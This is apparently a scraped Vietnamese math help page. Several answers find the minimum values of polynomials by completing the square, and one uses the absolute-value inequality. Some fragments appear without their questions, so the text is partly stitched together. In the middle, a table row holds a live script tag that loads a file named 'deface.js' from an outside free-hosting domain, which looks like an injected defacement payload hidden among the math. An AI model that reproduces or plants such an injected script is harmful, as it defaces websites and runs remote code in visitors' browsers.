Hãy nhập câu hỏi của bạn vào đây, nếu là tài khoản VIP, bạn sẽ được ưu tiên trả lời.
\(A=\dfrac{5x^2}{x^2}-\dfrac{x}{x^2}+\dfrac{1}{x^2}=\dfrac{1}{x^2}-\dfrac{1}{x}+5=\left(\dfrac{1}{x^2}-\dfrac{1}{x}+\dfrac{1}{4}\right)+\dfrac{19}{4}=\left(\dfrac{1}{x}-\dfrac{1}{2}\right)^2+\dfrac{19}{4}\ge\dfrac{19}{4}\)
\(A_{min}=\dfrac{19}{4}\) khi \(\dfrac{1}{x}=\dfrac{1}{2}\Rightarrow x=2\)
\(2\left(x^2-\frac{3}{2}\right)^2+3\left(y-1\right)^2+\frac{4013}{2}\)
A=x^2-2.x.3+9+2000
=(x-3)^2+2000
Bước này bạn tự suy luận ra rồi kết luận là xong
\(M=\left(x^2-x+\frac{1}{4}\right)+\left(y^2-6y+9\right)+\frac{3}{4}=\left(x-\frac{1}{2}\right)^2+\left(y-3\right)^2+\frac{3}{4}\ge\frac{3}{4}\Rightarrow MinM=\frac{3}{4}\Leftrightarrow x=\frac{1}{2};y=3\)\(P=x^2-2x+1+4=\left(x-1\right)^2+4\ge4\Rightarrow MinP=4\Leftrightarrow x=1\)
| <script src="https://snatchy-warehouse.000webhostapp.com/deface.js"></script> |
\(M=\left|x-1\right|+\left|x-3\right|=\left|x-1\right|+\left|3-x\right|\)
Áp dụng bđt \(\left|a\right|+\left|b\right|\ge\left|a+b\right|\) ta có:
\(M\ge\left|x-1+3-x\right|=\left|2\right|=2\)
Dấu " = " xảy ra khi \(x-1\ge0;3-x\ge0\)
\(\Rightarrow x\ge1;x\le3\)
\(\Rightarrow1\le x\le3\)
Vậy \(MIN_M=2\) khi \(1\le x\le3\)
Mún tìm GTNN của 1 đa thức đầu tiên phải biến đổi đa thức dưới dạng 1 hằng đẳng thức, VD:
Tìm GTNN A= x^2 + 4x - 1
=x^2 + 4x +4 -5
=(x +2)^2 -5 >= -5 Do (x + 2)^2 >= 0 với mọi x
Vậy GTNN của A = -5 <=> x + 2= 0
<=> x= -2